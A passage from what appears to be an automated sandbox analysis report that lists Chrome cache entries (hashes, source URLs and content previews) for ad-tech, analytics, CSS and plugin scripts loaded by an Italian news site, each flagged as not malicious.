i,j,k,l,m,n={m:e(a,d),c:a.c?""+a.c:a.c,s:[],l:a.l\|\|a.line\|\|a.lineno\|\|a.lineNumber,name:a.name,type:a.type},o=0,p=0;if(i=a.stack\|\|(a.err?a.err

Chrome Cache Entry: 703

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2422)
Category:	downloaded
Size (bytes):	187729
Entropy (8bit):	5.561219255862424
Encrypted:	false
SSDEEP:	3072:3Xg4byB4m40mZY3wTfL9CDz3SaUBn5WxdqZ6d0jJlWB3ycxX+:S+mNwTUDOaOCdqZ6d0t8JyWO
MD5:	8E9B06650259046441FA249359EFB03E
SHA1:	A483FAC429043B10C80AE906B82786F2F78DB001
SHA-256:	7FD2CB3C3B50BC82C579931B0DF98531687CAC8E8C3A51D5BD81B20562B60BF7
SHA-512:	A83B5F4EECB9FAADAAE7B9E8BE16CB5CE4788C6BA732236DE913FC032D7B12510E3CEFB19D6E1757E6EF2D2A17A6508CA71DFB9C6A998B829A60DAFB47D5CE01
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-N4MQK3G
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__aev","vtp_varType":"TEXT"},{"function":"__v","vtp_name":"gtm.triggers","vtp_dataLayerVersion":2,"vtp_setDefaultValue":true,"vtp_defaultValue":""},{"function":"__u","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__e"},{"function":"__v","vtp_name":"gtm.elementUrl","vtp_dataLayerVersion":1}],. "tags":[{"function":"__gclidw","metadata":["map"],"once_per_event":true,"vtp_enableCrossDomain":false,"vtp_enableUrlPasst

Chrome Cache Entry: 704

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.30677123551856
Encrypted:	false
SSDEEP:	3:YGMR4em/MfQ2pHC6aQV/jMY7Hfu:YGMR4eYd2pHla8I9
MD5:	8330E3FFF88899139EA5C727232B4ABF
SHA1:	95276ADF2B85CCC86A9FE93576D8579857F7D774
SHA-256:	54785D6993BB9FECA9363F7B252FBBE2323021ED0E73D78E690471CDBF97D77F
SHA-512:	DDE8A2CAB13C1AB2F5E76F5E936CE13CD966C97D35A58C88F62BED72C8231AC2A4EE02011D433DEB0F3B9DC771C5BFE44C061F84E5776C0C1DE475FD891B749F
Malicious:	false
Reputation:	low
Preview:	{"city":{"country":"US","geoGroup":"AN","EU":false,"region":"DC"}}.

Chrome Cache Entry: 705

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1095)
Category:	dropped
Size (bytes):	1134
Entropy (8bit):	5.441250002011496
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTmFbzXh6vEFM+sBntvwCCZV9Ukx8wR82oxTuRXKr5c:c2Yz8T0YviMnhYJx8wRmxTuRXEc
MD5:	09847F8017431304E1776EF807BF3C8A
SHA1:	409F1116CB7B49A19E92C0524F5CDDEC4AC84FB1
SHA-256:	8330B1060E1C30286FA30FE6CC9CC34D8AA89E9674B6155CD9C8539C59EFBB4D
SHA-512:	7663579D692F364CDB2472E19D62D67A8E05C586A53C57D6A566DA0AF5349C2629ECFE85C2C0B6190CEB32EE5A17D552A661C33A2D0D5E7C77FE4BA730FF82F2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://sync-tm.everesttech.net/upi/pid/P2n85yff?redir=https://partners.tremorhub.com%2Fsync%3FUITM%3D%24%7BUSER_ID%7D%26gdpr%3D0%26gdpr_consent%3D&rid=30f2e100c3804685b89bc4

Chrome Cache Entry: 706

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	low
URL:	https://mcdp-chidc2.outbrain.com/l?token=572f6b15b35e75542d2a7fdbb75238f8_30351_1711615904676_1&tm=22917&eT=0&widgetWidth=690&widgetHeight=268&widgetX=101&widgetY=2653&wRV=2010731&pVis=1&lsd=605efeb6-d03d-4c86-b581-346f2597a6eb&eIdx=&oo=false&lo=27464&obreq=26012&mvreq=27788&mvres=50075&re=50410&cet=3g&cs=4&to=1711615856221&ll=0&chs=1&ab=0&wl=0&retries=1
Preview:	ok

Chrome Cache Entry: 707

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	472
Entropy (8bit):	4.642014956726093
Encrypted:	false
SSDEEP:	12:b6HYu3lHR+yuE6HKGR5RSTyZE6CHH6U6nRBHR9EPH6HL0RApRLM6Hf:b8YuP+K8KGPSTyZEZHH36RT9EPH8si4c
MD5:	7D9DE6894A6CAEC7072105B3FD82211F
SHA1:	7A6CA8AFCB9544DF685AE323110417BA0FC658EC
SHA-256:	00084D448BEA3B65F0F00A9C63B5FE62A95D7F3F27A7CF5F749CB54489AD61D5
SHA-512:	E62646FFCF12EC4936BF088591100AEEC10D695502AF1DB40996F55019634C3A9E6197ADF873BCA2481300D46E6E87C48989F81D4D4A7486D4C7D0D65B6ED9BB
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/js/digistream-playlist-init.js
Preview:	var digistream_real_script = document.createElement('script'),..current_script = document.currentScript;..digistream_real_script.src = current_script.src.substr(0, current_script.src.lastIndexOf('/')) + '/digistream-playlist.js?v=' + digistream_data.digistream_playlist_js_date;..if (current_script.nextSibling)..current_script.parentNode.insertBefore(digistream_real_script, current_script.nextSibling);.else current_script.parentNode.appendChild(digistream_real_script);

Chrome Cache Entry: 708

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11586
Entropy (8bit):	7.944781798276513
Encrypted:	false
SSDEEP:	192:X9mZJvGnAqeLRHvolVA8I0pvmckkyRCgkm0Vvf/IsNI1v6Y:0ZJvTubA8IOYkXZi1iY
MD5:	B6269C093F81A563329CAE4A1CE6FFC4
SHA1:	DE8A1D9BE76CD3AEE80D1B84C4CF8FF9630360E9
SHA-256:	DCB11C42CBD7B625D340C5DD2600B04D120C7AA329FA2639D95BC7AB4BED8ED5
SHA-512:	FE92F38B3F3D563FEAC6B3DD39BD5E187BD67D711B391ACE85A58C6BE92521E6F9D22105579AD8396EEE58FBA31C398ADDE8B71CA62019AF48A683E7D3FA7A4A
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."................................................................................S.xkz.v.E..ug......t.@....s]-.j.\.C\;........'L..n..O.S..gM.. 8.$@...U`...]W/D..E.).T......j9z..T.R.\|Ef#...H....9.p,.xmE".^.r.....\WF..Mb.7..v...$....&..S.z]..I4Ok.5.V.....u.%5.5^XbE.u..7.FH.H..-U...7......Hp..KuD.c..b ..QZ.^.r.t..K..K......uy...#.xmONs.Vk9<...Bhx&@...6.EM\.C.........H...Ph.s.b.OA4-....s.`.h.....\..}q\...<..l...Q..w:..WW.L.-Y..ks.&..&.....r..Pz...C(.....S2U.1J....#`r...d.4I.t{].._./.DN....z.E.o:,<w..).y.t...N...@..zg../wcNs$.UD:.....;.IZ.s0A..a0......H.}...V..u.]>......'/..$..M.ksL...jD.d...Qq...AR.."..4S.N.Vik.3T...6 w7s9.%......;B....i.k7.....]E.....n'.O%E.uW........8...8f.....T..*.=sn i.(.".Y\|..dC4....$.;+z.mX.].].G...w.......S.XL..]:.yZ.C..M.vS..j..x..Gy..X.....-..."r.$k..a\.@9...

Chrome Cache Entry: 709

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7925
Entropy (8bit):	4.961696571948857
Encrypted:	false
SSDEEP:	96:u7aSuJAqgnO2LmOjm4c9IK3u7z4dCcGuXx70lj6/eeK+XWRnsB7knCg+RdZymwEC:fK04len7R7y4Cx
MD5:	98D85869869691353F69EE1EFA7AB954
SHA1:	7784A3925CB34052C7BB26B1DDB2B1620AFBC10A
SHA-256:	7265DB64C8FCDD3FEFDC8D16CA9A92CF15C4D649E45062109C87625CDD88A255
SHA-512:	00955B0542599F50635EBF9CBA8EB298019EF902583D1A7D513E91566E7508C7B8BA1F948527571524E10ECF89AE0A6E4CFCDEA55C07B1BF72326AACDFA7BE91
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/css/digistream-playlist.css?ver=1670317778
Preview:	.dgt-mrk-digistream-playlist{ max-width:640px !important; }...dgt-mrk-digistream-playlist-video.youtube{..position:relative;..padding-bottom:56.25%;.}...dgt-mrk-digistream-playlist-video.brid iframe,..dgt-mrk-digistream-playlist-video.facebook iframe,..dgt-mrk-digistream-playlist-video.youtube iframe,..dgt-mrk-digistream-playlist-video.vimeo iframe{..background-color:#000;..width:100% !important;.}...init-playlist.has-carousel.vertical-carousel .dgt-mrk-digistream-playlist-video{..width:66.67%;..float:left;.}...init-playlist.has-carousel.vertical-carousel .dgt-mrk-digistream-playlist-video.youtube{ padding-bottom:calc(66.67% * 0.5625); }...dgt-mrk-digistream-playlist-video.youtube iframe{..position:absolute;..left:0;..top:0;..height:100%;.}...dgt-mrk-digistream-playlist .italpress-video-container{ margin-bottom:0; }..dgt-mrk-digistream-playlist-video{ margin-bottom:10px !important; }...dgt-mrk-digistream-playlist-anteprime{..width:100%;..padding-bottom:56.25%;..background-size:cover;..

Chrome Cache Entry: 710

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27010), with no line terminators
Category:	downloaded
Size (bytes):	27010
Entropy (8bit):	5.366849028742399
Encrypted:	false
SSDEEP:	384:1my0Lw5MTEwjaFQ3weiZH/+p7ni45BePiiQEczCCK4nw/4:Iy0Eej3weiZH/s7iSBePVQEUCCKd4
MD5:	AADFC383DD27D1498C7EFAC53664492F
SHA1:	377C93A7B58A9BD7DB2836558561FEE3102826F5
SHA-256:	DC207CA5E63AE6E1ED302E3FACFFC29E95708E2E121D5C083B9E627C8E08E155
SHA-512:	FCE55E6CF38ECD5CD4B8FCEF0F611789B1B26473A20D05374B2785A0F40AB81A3F2CE7D6ECFD4EB3E51A583C639A79D2104727D67F1AB9782599290E6A75A5E9
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/bsnews.prod.js
Preview:	(()=>{"use strict";var n,e,o,t,i={890:(n,e,o)=>{o.d(e,{Z:()=>r});var t=o(645),i=o.n(t)()((function(n){return n[1]}));i.push([n.id,'.bg-sour-display {\n position: relative;\n\n animation: ripple 0.8s infinite;\n text-align: center;\n min-height: 90px;\n background: url(//cdn.codesour.com/codesour/assets/codesour-logo.png) 50%\n center / 40px no-repeat rgba(200, 200, 200, 0.2);\n -webkit-transition: background-color 0.5s ease-in;\n -moz-transition: background-color 0.5s ease-in;\n transition: background-color 0.5s ease-in;\n margin-bottom: 2px;\n}\n\n.bg-sour-display > div {\n -webkit-transition: all 0.5s ease-in;\n -moz-transition: all 0.5s ease-in;\n transition: all 0.5s ease-in;\n\n position: absolute;\n top: 50%;\n transform: translateY(-50%);\n left: 0;\n right: 0;\n}\n\n.bg-sour-display > div.bg-sour-display-align-top{\n position: relative;\n top: 0;\n left: 0;\n right: 0;\n}\n\n.bg-sour-display > div.bg-sour-display-align-middle{\n position: absolute;\n t

Chrome Cache Entry: 711

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	316881
Entropy (8bit):	5.423488684879741
Encrypted:	false
SSDEEP:	6144:2aoKkI4Hw/E6GCkmyji0rdDt5oJAysnJJpJ/6xgObiKZZAq/f0jAvoORHDtFUge4:BXhMAvoORHEoVeixmta
MD5:	E03CAD55BAFBE2D3C22C740EFD36D5E7
SHA1:	FFB8A0B17E0159DC8F3AC5BAED0E23DD0E71341A
SHA-256:	71DAD0AD6FD35D1563DBA94A144DAF520C3699F3F32C1587778C1F272992A26E
SHA-512:	89840E95D3156F2799680E3D7A9BEB0D46360882F9F85C8C49C61031F0B2024FF446AB5BBDB6D184FF30E9C612870083CFC51334DAE07068FF1DD054EE17A6B6
Malicious:	false
Reputation:	low
URL:	https://t.seedtag.com/c/st_0.3fc48868c6fe6208c8fe.js
Preview:	(window.webpackJsonp1711523474425=window.webpackJsonp1711523474425\|\|[]).push([[0],Array(34).concat([function(e,t,n){"use strict";n.d(t,"d",(function(){return i})),n.d(t,"G",(function(){return o})),n.d(t,"p",(function(){return a})),n.d(t,"g",(function(){return u})),n.d(t,"D",(function(){return s})),n.d(t,"a",(function(){return c})),n.d(t,"j",(function(){return d})),n.d(t,"r",(function(){return f})),n.d(t,"t",(function(){return l})),n.d(t,"i",(function(){return v})),n.d(t,"y",(function(){return p})),n.d(t,"h",(function(){return h})),n.d(t,"n",(function(){return A})),n.d(t,"m",(function(){return m})),n.d(t,"F",(function(){return g})),n.d(t,"z",(function(){return b})),n.d(t,"A",(function(){return _})),n.d(t,"s",(function(){return y})),n.d(t,"C",(function(){return T})),n.d(t,"x",(function(){return E})),n.d(t,"c",(function(){return w})),n.d(t,"k",(function(){return S})),n.d(t,"B",(function(){return G})),n.d(t,"E",(function(){return k})),n.d(t,"w",(function(){return x})),n.d(t,"e",(function()

Chrome Cache Entry: 712

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	67
Entropy (8bit):	4.30677123551856
Encrypted:	false
SSDEEP:	3:YGMR4em/MfQ2pHC6aQV/jMY7Hfu:YGMR4eYd2pHla8I9
MD5:	8330E3FFF88899139EA5C727232B4ABF
SHA1:	95276ADF2B85CCC86A9FE93576D8579857F7D774
SHA-256:	54785D6993BB9FECA9363F7B252FBBE2323021ED0E73D78E690471CDBF97D77F
SHA-512:	DDE8A2CAB13C1AB2F5E76F5E936CE13CD966C97D35A58C88F62BED72C8231AC2A4EE02011D433DEB0F3B9DC771C5BFE44C061F84E5776C0C1DE475FD891B749F
Malicious:	false
Reputation:	low
URL:	https://services.sunmedia.tv/geotarget/geocity.php?dnt=1
Preview:	{"city":{"country":"US","geoGroup":"AN","EU":false,"region":"DC"}}.

Chrome Cache Entry: 713

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1023), with no line terminators
Category:	downloaded
Size (bytes):	1023
Entropy (8bit):	5.274183075419029
Encrypted:	false
SSDEEP:	24:fXffqkxR0YwyFQ+zitT7HjJRWE9zbRgXwpRWU+x+Ko:fPyTYMT7lw4S2wU+x0
MD5:	D14C9EBFE4D3AD5F64BFAC8E3AA25D7F
SHA1:	CF25AB9122518D60BB9DDA5233EE618FD262225D
SHA-256:	AAD3B9471FF6FB4D22027B542B11A73EA14E7B8A39B26507E2A6D2C4988153CE
SHA-512:	56C986C426B5705A2445B11FBD78294E28E1B6B3E04FAB33192D82F2D165741E58235CB6ABBE16BBBA3AD9BF3CDCB01E6F98E4BF82065FEC3E61474B278810DF
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/326.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[326],{326:(e,t,o)=>{"use strict";o.r(t);var n=o(845);const{LoggerSour:s}=n.t,a=new s("DMP > Omnicom");!function(){window,a.log("Omnicom - Init");let e="<span id='sour-omnicom-scripts'>";e+='<script type="text/javascript">',e+='var _omgDmp = _omgDmp \|\| []; \n _omgDmp.push(["S",["_adv","197"]]); \n _omgDmp.push(["S",["_tagId","607"]]); \n _omgDmp.push(["S",["_provider","omg"]]); \n (function($n,e,o,d,a,t,$a) { \n var x = $n.createElement(e), s = $n.getElementsByTagName(e)[0]; \n x.src = ((\'https:\' == t.protocol) ? \'https://js\':\'http://js\')+o+d; \n x.async = a;s.parentNode.insertBefore(x, s); \n }(document,"script",".omg.neodatagroup.com/","omg.js",1,location,1)); ',e+=" <\/script>",e+="</span>";var t=document.createRange();t.selectNode(document.getElementsByTagName("body")[0]);var o=t.createContextualFragment(e);document.body.appendChild(o),a.log("Omnicom -

Chrome Cache Entry: 714

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 717

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3802
Entropy (8bit):	5.161959348605337
Encrypted:	false
SSDEEP:	96:I4y/XHFCFwNH8l4HbOHsHYHu9ybr2qYmiBbGx:IvXH8w9mS0+yIybr2xm8Gx
MD5:	FAAD6D610A7700F489432EE9ABFAF760
SHA1:	AC54DCF6E4291D8A06F7B77586917BCBE99A25D3
SHA-256:	EE5EFED459C124675F1A2445A7E0B1F57B9A4F75EF1D59F914348A69C23EF487
SHA-512:	BEFB04B1FF9D643A7AC1BA2698ED496DBD9BA45855423C3AA48CDF1397D4639160926B209FFD7AB1059E82AADDDB7E93EBD90AE45D526C667EC8AE3A6BD8A5E4
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/css/videojs.ima.css?ver=1.1.17
Preview:	/*. Copyright 2014 Google Inc.. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. /...ima-ad-container {. top: 0em;. position: absolute;. display: none;. width: 100%;. height: 100%;.}../ Move overlay if user fast-clicks play button. /..video-js.vjs-playing .bumpable-ima-ad-container {. margin-top: -4em;.}../ Move overlay when controls are active. */..video-js.vjs-user-inactive.vjs-playing .bumpable-ima-ad-container {. margin-top: 0em;.}...video-js.vjs-paused .bumpable-ima-a

Chrome Cache Entry: 718

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (895)
Category:	downloaded
Size (bytes):	934
Entropy (8bit):	5.45277163172372
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTvEFM+sBntvwCCZV9UkJTuRXKr5c:c2Yz8TviMnhYJJTuRXEc
MD5:	E908C9F6448CFF9F5ECF4922F1B918DC
SHA1:	AEF07A8A3D493DE4B40F74B17D6C127E63AC4C78
SHA-256:	233CE9855860FD54BC235361673A9BE39EE6C1F34FEF03E5D4506F99DAABDD92
SHA-512:	516D277E166A47C131C26F0CBB693B10664CF260515FD5506F4943AFAAFFCDC3E5B1F8CD03825351D1733C9695EC8F2F75262375AF04A6AAF0E4098DC64A0300
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=stackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=scaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://sync.srv.stackadapt.com/sync?nid=112&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 719

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.952388965112353
Encrypted:	false
SSDEEP:	3:8WiCLViemo/HH+QwItLIoCYKlGSnIwBM4D/YC3WOPOMCfnM:8WiIUemo/HPbfCYKpY4DWOGVfnM
MD5:	69AE88DDEF2E324B6548BA8F4B0A4892
SHA1:	E09F7F879E32F3CFEBD55D233F102C1CE1692D5F
SHA-256:	F3D68C8A717F22C23F30D32F60AB396458CA04CEE743A3574709FC30A6413919
SHA-512:	81D754A030111BB7DA7E462E9085936AA9BFCFADBB297A904182B94420826D8899781E622E2A94A8B5B3574AC69A6AB7EE8777140691AF806E31E9085331BA04
Malicious:	false
Reputation:	low
Preview:	apstag.punt({"cmp":"https://aax-eu.amazon-adsystem.com/s/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_smrt_an-db5_sovrn_3lift","cb":"1"})

Chrome Cache Entry: 720

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (616)
Category:	downloaded
Size (bytes):	635
Entropy (8bit):	5.312395282392024
Encrypted:	false
SSDEEP:	12:U7Dlf8IBbRT79+THpVfbvbUxN+5Y2Pm3YAyOHTRM+xFxTofCYKO+kFl+ffVfCYKz:WDlf8Egp5bTCNUm3bTTSKO+kFl4nKbCM
MD5:	4524C41AFCCEF4D5804C6373059C31A6
SHA1:	E534951F794B94DF60E7A68DF94D1878F170AAF9
SHA-256:	B2DB427F6903D65AA58BBF1D33D4D2BFDD8934498E5270B00252777EBC907006
SHA-512:	82F9BCF0BF7578B73B688D3765C694ECD8429F53F5935634BCBA1BAF87D4C0D2768253FE72A10A1DEA31C13E1F6F4E83C53290F57B6CB200E3995605019F0102
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=2&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22bsnews-floorad-desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%2C%22id5%22%3A%22ID5*t-hyak_q_UQvB6ez3TT_17w3X0Ef8s4Kslmg1-Kc-tuQD_uGA_mUXTf7YNdVZuNN%22%7D%7D
Preview:	/* aax response */.apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"fif":"1","amzniid":"JFVVO-u8lmplON3kOhWFtpkAAAGOhEIelQEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICDHkePS","size":"728x90","crid":"2243394","meta":["slotID","mediaType","size"],"amznactt":"OPEN","amznsz":"728x90","slotID":"bsnews-floorad-desktop","amznp":"1arrojk","mediaType":"d","amznbid":"17xdudc"}],"host":"https://aax-us-east.amazon-adsystem.com","cfe":true,"ev":true,"cfn":"bao-csm/direct/csm_othersv5.js","status":"ok","cb":"2","cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_smrt_sovrn_3lift"})

Chrome Cache Entry: 721

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6926), with no line terminators
Category:	downloaded
Size (bytes):	6926
Entropy (8bit):	5.424575622843248
Encrypted:	false
SSDEEP:	96:pc+TwDXPDnQlDnQMDQwkDQwGlr8UN/RnnH4uDH+aDHOnha:pc+TwTPiP0Wlx5nHz7n7Wha
MD5:	426E4B28FD0D325CEA3B9C4BE41201D2
SHA1:	234A20EFF621940090892BD82DE754FB27F52B5C
SHA-256:	70C75FB85C861173226E3871B48FDF93EBCAC3F9AE550F6F6F6C7E51B2979B83
SHA-512:	B961BDA6EB05D2419E90AF0635ACC02525D0179450E85EA5384E1D1DB03A3704A025B587538E6AD01DAD6FA4DE1F6B188690D22089EA5461F8B98A59819FE9EA
Malicious:	false
Reputation:	low
URL:	https://widgets.wp.com/likes/style.css?ver=20240208
